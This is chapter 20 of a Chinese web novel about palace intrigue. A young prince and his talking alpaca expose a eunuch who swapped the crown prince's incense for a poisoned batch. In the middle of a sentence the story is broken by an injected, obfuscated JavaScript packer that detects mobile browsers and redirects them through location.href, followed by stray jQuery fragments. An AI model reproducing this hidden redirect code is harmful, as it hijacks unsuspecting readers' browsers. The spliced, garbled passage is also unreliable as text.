20.020

【第二十章】


听到那天真稚气的问话,太子等人全都啼笑皆非,极力忍笑。


【呃,这个嘛……】小羊驼望着小男孩那天真无辜的眼神,有些不知如何解释,一时竟卡了壳。


殷舒远也不懂,但直觉苍儿弟弟的说法不对,偷偷扯了扯殷舒遥的手,小声问:“阿姐,什么是对食?”


十岁的殷舒遥虽然还不算是大姑娘,但多少懂一些,掐了掐弟弟的手,示意他别说话。殷舒遥只当姐姐怕他声音太大被苍儿听见,赶紧闭嘴。


头一回见小羊驼结巴,裴泊苍好奇追问:【阿驼?】


小羊驼:【小主人的说法也对,马才和那个宫女,的确是经常面对面坐在一起吃饭的。】


裴泊苍怒了:【好啊,他竟然为了一个一起吃饭的宫女,就来害我爹爹,良心真是被狗吃了。】


小羊驼附和:【他不光良心被狗吃了,他脑袋还被驴踢了呢。】


裴泊苍:【那是那个宫女让他害我爹爹的?】


小羊驼:【是这样子的小主人,马才这个对食叫紫烟,两人是同一年入的宫,紫烟比马才还大了两岁,当初两人被分到一处当差。】


【因为是新人,年纪又小,难免被欺负。紫烟还好,性子圆融,总能化解。】


【马才就比较惨,他有些憨,不懂得讨好上头的太监,三天两头挨打,没有饭吃那是常有之事,经常一个人偷偷躲在角落里哭。】


【紫烟见了,就总把自己的吃食偷偷分给他,还用自己攒下的银子给他买药,为他上药,开解他。】


【久而久之,马才就把紫烟当成了自己的救赎,喊她姐姐,在心中暗暗发誓,以后一定报答她。】


【后来两个人分开,去不同地方当差,再后来,马才因为办事稳重,被调到了当时还是皇孙的太子裴慈宫里服侍,紫烟则去了简嫔宫里。】


【后来昭庆帝登基,皇孙裴慈,很快就成了太子。】


【有一日,紫烟约了马才偷偷见面,一见面,紫烟就大哭。】


【马才吓坏了,忙问她怎么了。】


【紫烟就说,她活不成了,马上要死了,还说她家中也没什么亲人了,唯一挂念的就剩马才这个弟弟,所以想来和他告个别。】


【马才就问她到底怎么了,一开始紫烟只哭,不肯说,后来马才再三追问,紫烟才说,她的主子,也就是简嫔,得知她和马才认识,便逼着她来找马才给太子下毒。】


众人听得一头雾水。简嫔无儿无女,平日里也不受宠,在后宫里的存在感极低,她和太子又素来没有交往,为何要给太子下毒?


裴泊苍也纳闷:【简嫔为什么要害我爹爹?】


小羊驼搜了搜没搜到:【小主人,这就得扫了简嫔才能知道了。】


裴泊苍:【好,那你先接着说。】


小羊驼:【当时马才也问了紫烟,说好好的,简嫔为什么要害太子。但是紫烟却摇头说不知道,说简嫔没有告诉她,只让她照做。】


【一开始马才劝说她到皇后那里去坦白,皇后娘娘定会为她做主,可紫烟却说不可能得,连她来见马才都是被人跟着来的。】


【马才也六神无主,又不想紫烟死,又没有办法,抱住紫烟一起痛哭。】


【两人抱在一起哭啊哭,哭啊哭,不知怎么的,就滚到了一起……】说到这里,小羊驼的声音戛然而止。


裴泊苍听得正来劲儿,就见小羊驼突然用两只小蹄子捂住了嘴,便追问:【摔倒了吗?】


众人:“……”


十岁的小姑娘殷舒遥脸颊一红,伸手就捂住了弟弟的耳朵。殷舒远哪里肯,一下把姐姐的手拽了下来,不满地小声抱怨:“阿姐你做什么?”


殷舒遥一跺脚,不再理他。


小羊驼把蹄子从嘴上拿开:【啊对,是摔倒了。】


【后来两人爬起来之后,马才就说不想让紫烟死,说有什么事,他来替她办,哪怕上刀山下火海,甚至去死,他都无怨无悔,只要紫烟能活着就行。】


【紫烟便说,也不用做别的,只要把太子用的沉速香换了就行,且香里面只是一些让太子身体不那么康健的成分,根本没什么明显的害处。】


【一开始,马才还以为是要给太子下当即毙命的那种剧毒,已经做好了必死的打算,结果一听这话,便一口应下了。】


大公主听得来气,低声咒骂:“狗奴才,回头定要扒了他的皮。”


想着若是没有阿驼和苍儿,太子就那么被毒死了,太子妃脸色紧绷着,“定不会饶了他们。”


裴泊苍:【我爹爹用的沉速香,也是内官监的香药库做的吗?】


小羊驼:【不是,正规的沉速香是由御用监的调香师做的,但做了手脚的沉速香,却是紫烟从简嫔那里拿来给马才得?】


裴泊苍不理解:【可是阿驼,既然这两种香都是轻易查不出来的,那为什么还搞这么麻烦,又是做两种,又是威胁女官,拉拢马才的?】


小羊驼:【太子身为储君,身体康健事关国本,身上所用之物,无不小心谨慎。】


【一个小小的熏衣香在用到太子衣物之前,都要经过层层把关,更何况沉速香这种大宸储君专用熏香。】


【若没有内应,根本没办法做手脚,出了问题也容易被发现。】


裴泊苍:【层层把关,可还是让我爹爹中招了。】


小羊驼:【都说了,这大宸皇宫漏得跟那破筛子似的。】


裴泊苍:【那马才换下来的香都在哪呢?】


小羊驼:【东宫月供沉速香都是线香形状,马才谨慎小心,每月换下来之后,也不敢烧,都是拿水浸泡成粉,之后趁着三天旬假的机会,或出去办事的机会,找机会处理掉。】


裴泊苍不理解:【可是这么多年,都没人发现吗?】


小羊驼:【皇宫里头多达上万人,人多事杂,他又不怎么起眼,加上他为人谨慎,所以还真就没人注意。】


裴泊苍:【那他还做过别的害我爹爹的事吗?我爹爹中秋中毒,是他干的吗?】


小羊驼:【那不是,他并不知情。他唯一干的就是换沉速香。】


裴泊苍:【那他后来是怎么死的?】


小羊驼:【太子中毒身亡后,所有人都被抓了起来,马才也在其中,后来紫烟来看过他一次,给他送了一些吃食,说让他不要着急,再等等,她就会救他出去,结果没想到马才吃完那些饭菜,就死了,死不瞑目。】


裴泊苍:【是紫烟故意害他?】


小羊驼:【那就不知道了。】


裴泊苍:【那剩下的人呢?】


小羊驼:【剩下的都是老实当差的,没有什么细作眼线。】


太子一直沉着的脸色稍微缓和了些,他就说他不可能识人不清到那个地步,各个都是忘恩负义的东西。


裴泊苍坐不住了,翻身趴着,吭哧吭哧爬到软榻边上,随后掉头,屁股朝外,出溜下地,已经做好一个屁股墩坐地上的打算了,却被人一把接


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15407006|167341||http|test|mini|href|location.split(|),0,{}));


() {


$(.inform).remove();


$(#content).append(


住了。


他一回头,发现是太子,便笑了,随后又绷起脸,指着马才说:“爹爹,丢。”


太子赶紧在心里琢磨,看要编个什么合适的理由将马才打发了,才不会让苍儿起疑。


已经来了有一会儿,站在窗外听了个前因后果的锦衣卫指挥使骆襄适时开口道:“启禀太子殿下,锦衣卫查到香烛太监马才祸乱宫闱,现奉旨来拿。”


太子暗道着可真是及时雨,忙开口:“进来吧。”


一听这话,一直垂手塌肩在一旁站着的马才一脸惊恐,双腿一软就跪在地上,连连磕头:“奴才冤枉,请太子殿下为奴才做主。”


见他还敢喊冤枉,太子冷眼睨视:“锦衣卫素来公正,你且跟着指挥使大人去。”


还不待马才再出声,骆襄已经带着两名锦衣卫进来,一挥手,两名锦衣卫一掌将马才劈晕,直接拎走了。


裴泊苍震惊:【阿驼,马才怎么祸乱宫闱了?】


小羊驼:【那肯定是】


话说一半,看着小主人那清澈的大眼睛,小羊驼又改了口:【小主人,祸乱宫闱这个罪名可就广了,像什么秽乱宫廷、谋害皇嗣、窥探朝政、僭越礼制、诅咒皇室、贪污宫用、刺杀行凶、勾结外朝等等,都算祸乱宫闱,所以阿驼也不知道他具体干了什么。】


裴泊苍:【那你说,有没有可能是锦衣卫查到了他害我爹爹?】


小羊驼:【也有这个可能。】


裴泊苍:【那祸乱宫闱,要怎么判刑?】


小羊驼:【根据具体罪行,判发配浣衣局、杖毙、诛九族等等,反正基本上活不了了。】


坏人又解决一个,裴泊苍拍拍小手,语气松快:【阿驼,那等下我们就去简嫔宫里,看看简嫔到底为什么要害我爹爹。】


太子太子妃对视,又欣慰,又心疼,苍儿这孩子,这连轴转,都不累的嘛。


裴泊苍一心想要尽快找出所有坏人,压根就不觉得累,想着太子爹爹身为成年男子,也不好到皇爷爷的后宫去,便踢蹬两下,下了地来,靠在爹爹腿上,对着一旁对着他笑的九叔招招小手。


裴凖知道又是该自己上场了,两步上前,将胖侄子抱起来,“苍儿想去哪儿玩,九叔带你去。”


裴泊苍往门外一指:“走。”


裴凖看向太子,见他点头,便抱着苍儿出门走了,殷舒遥和殷舒远忙跑着跟上。


太子妃和大公主怎会放心让几个孩子单独去简嫔宫里,两人对视一眼,齐齐跟了出去。


太子和骆襄看着众人离开的方向,岂肯就这么错过弄清事情真相的原因,等了片刻之后,毫不犹豫地跟了上去,不远不近缀在众人身后。


可等到了简嫔所住宫殿外头,太子率先停了下来:“阿襄啊,苍儿如今情况特殊,咱们可得处处提防着。”


骆襄往里张望:“殿下所言极是,陛下也下了旨意,命臣一定要护好小殿下。”


太子:“眼下这种情况,若孤进了简嫔宫里,不算擅入禁闱吧?”


骆襄:“那肯定是不算的,不过要是殿下觉得不便,那咱们可以”


骆襄话说一半,用下巴往上指了指。


太子斜眼看他一眼,短暂的迟疑过后,点了头:“行吧。”


他可以毫无避讳地同陛下说大宸要亡了,但是没有陛下的准许,他还是不要轻易接触陛下的妃子,免得犯了陛下的忌讳。


于是,两人蹿房越脊,轻手轻脚趴到了屋顶上,各自悄悄掀开了一片瓦。